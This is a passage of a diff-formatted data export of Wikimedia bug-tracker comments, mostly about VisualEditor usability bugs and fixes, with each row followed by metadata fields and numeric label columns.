+4 (rev3 and rev4), you just change rev4 to rev5 (and rev5 to 6 and so on), then
+insert the new score. With VE, you have to add a new rev parameter to the
+bottom, and move the content of ALL of the parameters affected through
+copy-paste. This is much more time consuming than editing the wikitext.""
+
+For context reviews are listed in alphabetical order, initially the template
+could be something like:
+rev1 = A Magazine
+rev1Score  = 4/5
+rev2 = CTV
+rev2Score = 1/5
+rev3 = FooMusic
+rev3Score = 5/5
+rev4 = ZedNews
+rev4Score = 6/10
+
+The album then gets rereleased and reviewed by BetaMag. This needs to be added
+at the second review, in source editing it's just a matter of changing 6
+characters (4→5,3→4, etc). In VE you have to create a new rev5 and rev5
+parameter, then cut and paste the values from each of rev2 - rev4 and rev2Score
+- rev4Score to their new locations then add the new data. 
+
+One better way to handle this would be to allow the renaming of parameters.
+Either in the ""options"" section or by right clicking on the parameter name. 
+
+This is likely to affect other templates too.",,,1374495419,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g7bv7yb2notx65burp7i,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+254292,VisualEditor: Let users relabel (or renumber if auto-numbered) parameters in the transclusion dialog,*** Bug 51558 has been marked as a duplicate of this bug. ***,,,1374495310,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g7bv7yb2notx65burp7i,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52247,VisualEditor: User personal links appear above VE dialogs,"**Author:** `rachelqa99`
+
+**Description:**
+This it the top level links English, Talk, Preferences, Watchlist etc appearing on top of references window
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1372267920,1373077152.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+253215,VisualEditor: User personal links appear above VE dialogs,This was fixed in the deployment earlier this week.,,,1373077152,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+253212,VisualEditor: User personal links appear above VE dialogs,Confirmed in Chrome/Mac; this looks like a general issue with z-indexes. Thanks for the catch!,,,1372269171,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+253208,VisualEditor: User personal links appear above VE dialogs,"Created attachment 12650
+Screenshot showing issue (extracted from Word docx file)
+
+**Attached**: {F11829}",,,1372269063,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+253200,VisualEditor: User personal links appear above VE dialogs,"**rachelqa99** wrote:
+
+screenshot
+
+//attachment screenshotve.docx ignored as obsolete//",,,1372267984,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hnjrb6dsvhgt7tgjsyyd,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+52240,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Totally a nice-to-have; it'd be good if the link inspector could inform users that they're linking through to a DAB page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50160
+https://bugzilla.wikimedia.org/show_bug.cgi?id=59208
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49502",Medium,50.0,1372262940,1391818637.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yv5u43sg36sflqbgt5oh,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+252858,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Change 110654 merged by jenkins-bot:
+Mark disambiguation and redirect pages in the link inspector
+
+https://gerrit.wikimedia.org/r/110654",,,1391818168,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252855,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Change 110654 had a related patch set uploaded by Alex Monk:
+Mark disambiguation and redirect pages in the link inspector
+
+https://gerrit.wikimedia.org/r/110654",,,1391210012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252851,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",Hint: Links to disambig pages can now be easily checked with the isDisambiguationPage() function introduced with Gerrit 100413.,,,1387723690,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,24,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252844,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Can we also ask that VE warns about ""auto-links"", which is, links in the article pointing to the article itself? https://bugzilla.wikimedia.org/show_bug.cgi?id=50497 explains why those links can happen, but that is true for templates, I can't recall real reasons for wanting that to happen in the article body as well.
+So [[user:Fram]] suggested that a warning would be useful in that case.",,,1375369955,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+252839,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","**Saehrimnirwikipedia** wrote:
+
+Hi is anyone working on this since it is now deployed on more wikipedias this will become a bigger and bigger problem? Before VE people were checking if the Link was going to the right target more often because it was possible to have typos but with a drop down list they are bound to rely that what they pick will work as intended.",,,1374762733,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+252836,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",*** Bug 51524 has been marked as a duplicate of this bug. ***,,,1374488278,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252834,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",The current code related to this functionality is in VisualEditor/modules/ve-mw/ui/widgets/ve.ui.MWLinkTargetInputWidget.js if anyone wants to take a shot at it.,,,1374011002,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+252831,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","This has come up in a discussion about surging numbers of dablinks being noticed by the dab project.  If VE is the source for this uptick, we should think about getting this fix in sooner rather than later. 
+
+Discussion on en.:
+http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28miscellaneous%29#Disambiguation_in_crisis",,,1373931722,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+252827,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",This has been implemented in the old editor (WikiEditor). See https://gerrit.wikimedia.org/r/#/c/70564/ for the implementation details. It should be easy to add this feature to VisualEditor as well.,,,1373921680,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+252823,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",*** Bug 50986 has been marked as a duplicate of this bug. ***,,,1373472822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+252818,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Sure; I don't think we're saying it shouldn't /let/ the user, merely that it should inform the user.",,,1372332875,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+252811,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","I agree for disambiguation pages.
+
+But I believe creating a wikilink to a redirect page is OK. For instance linking to ""HTC Super3"" even though it is actually a redirect to ""HTC Super"".",,,1372323018,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+52231,Jenkins: migrate qunit jobs from master to gallium,"The Qunit jobs are currently running on the master, they need to be moved to
+gallium slave nodes.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1372254900,1373031803.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-4pmiosnpdta6wvmtogmm,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+252258,Jenkins: migrate qunit jobs from master to gallium,I have updated some files ownerships manually and validated qunit tests jobs are passing for MediaWiki core and VisualEditor.,,,1373031803,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+252255,Jenkins: migrate qunit jobs from master to gallium,"Change 72083 merged by Hashar:
+tie qunit jobs to slaves
+
+https://gerrit.wikimedia.org/r/72083",,,1373031569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252252,Jenkins: migrate qunit jobs from master to gallium,"Change 72086 merged by coren:
+contint: file perms for qunit jobs
+
+https://gerrit.wikimedia.org/r/72086",,,1373030886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252247,Jenkins: migrate qunit jobs from master to gallium,"Change 72086 had a related patch set uploaded by Hashar:
+contint: migrate qunit jobs to Jenkins slaves
+
+https://gerrit.wikimedia.org/r/72086",,,1373029884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252243,Jenkins: migrate qunit jobs from master to gallium,"Change 72083 had a related patch set uploaded by Hashar:
+tie qunit jobs to slaves
+
+https://gerrit.wikimedia.org/r/72083",,,1373029751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52225,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Screenshot: Narrow window
+
+When space is scarce (for example at high zoom, or when the window is very narrow), the ""View history"" tab is moved to the drop-down menu (that also includes ""Delete"", ""Move"", etc.) so that the action remains accessible.
+
+The ""Edit"" and ""Edit source"" tabs don't seem to do the same; they stay where they are, which prevents them from being used in similar situations (see attached screenshots).
+
+It would imho make sense to migrate both tabs to the drop-down menu as well when there isn't enough space to display them at their usual location, so that users can still access the edit modes.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11766}",Medium,50.0,1372251780,1396642509.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+251918,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Change 123503 merged by jenkins-bot:
+Give the edit tab <li> closest to the collapsed tabs menu class=collapsible
+
+https://gerrit.wikimedia.org/r/123503",,,1396639943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+251911,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Change 123503 had a related patch set uploaded by Alex Monk:
+Give the edit tab <li> closest to the collapsed tabs menu class=collapsible
+
+https://gerrit.wikimedia.org/r/123503",,,1396487823,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+251902,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","(In reply to comment #0)
+> It would imho make sense to migrate both tabs to the drop-down menu as well
+> when there isn't enough space to display them at their usual location, so
+> that
+> users can still access the edit modes.
+
+""Edit"" is not normally collapsed, but it would make sense for ""Edit source"". You'd just add class=""collapsible"" on the <li> and it will magically work.",,,1372252025,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+251895,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Created attachment 12643
+Screenshot: High zoom
+
+**Attached**: {F11767}",,,1372251857,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+52216,VisualEditor: Middle-clicking/Ctrl+clicking on wikilinks fails when using full index.php URL,"1. Go to http://en.wikipedia.org/w/index.php?title=Black&veaction=edit
+2. Middle-click or ctrl+click on any wikilink
+
+You get a 404 page, e.g. http://en.wikipedia.org/w/Outer_space
+
+VE should use fully qualified hrefs (/wiki/foo), just as MW always does.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372231980,1372270074.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-rl6rjnnqsrrmwprvwrmk,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+251419,VisualEditor: Middle-clicking/Ctrl+clicking on wikilinks fails when using full index.php URL,"I think this is a duplicate of 48915, which clearly we should fix right now.
+
+*** This bug has been marked as a duplicate of bug 48915 ***",,,1372270074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rl6rjnnqsrrmwprvwrmk,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+52208,VisualEditor: Possible to have links nested inside links,"(Sorry for carelessly filing a dupe before (bug 50207) - I have checked this one, but if it is a dupe, you are most welcome to trout me for wasting your time!)
+
+1. Edit [[testwiki:VisualEditor:Links]] in VE
+2. Make a selection like
+
+     Golden Gate National Recreation [Area is the] best
+
+   (partly inside the link, partly outside it)
+3. Click the ""Link"" toolbar button and make a link to any page
+4. Click in the word ""Area"" to move the cursor there
+
+Two link icons appear in the floating toolbar.
+
+5. Save page > Review changes
+
+Wikitext output has two links side-by-side, pointing to the same target.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372220460,1372260507.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cypsptchtj5tr3ktdvxq,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1
+250969,VisualEditor: Possible to have links nested inside links,Merged and we'll push this to production in the next hour or so.,,,1372260507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+250958,VisualEditor: Possible to have links nested inside links,Related URL: https://gerrit.wikimedia.org/r/70644 (Gerrit Change I1cab7f3cc4fc9589eced01ad38c59fe5b9622a57),,,1372260143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cypsptchtj5tr3ktdvxq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+250949,VisualEditor: Possible to have links nested inside links,"(In reply to comment #0)
+> (Sorry for carelessly filing a dupe before (bug 50207) - I have checked this
+> one, but if it is a dupe, you are most welcome to trout me for wasting your
+> time!)
+
+Ha, no worries; dupe's aren't in any way useless (it reminds us that it's a real problem we need to fix really soon!). It's mostly just that it's a waste of your time. :-(
+
+> 
+> 1. Edit [[testwiki:VisualEditor:Links]] in VE
+> 2. Make a selection like
+> 
+>      Golden Gate National Recreation [Area is the] best
+> 
+>    (partly inside the link, partly outside it)
+> 3. Click the ""Link"" toolbar button and make a link to any page
+> 4. Click in the word ""Area"" to move the cursor there
+> 
+> Two link icons appear in the floating toolbar.
+> 
+> 5. Save page > Review changes
+> 
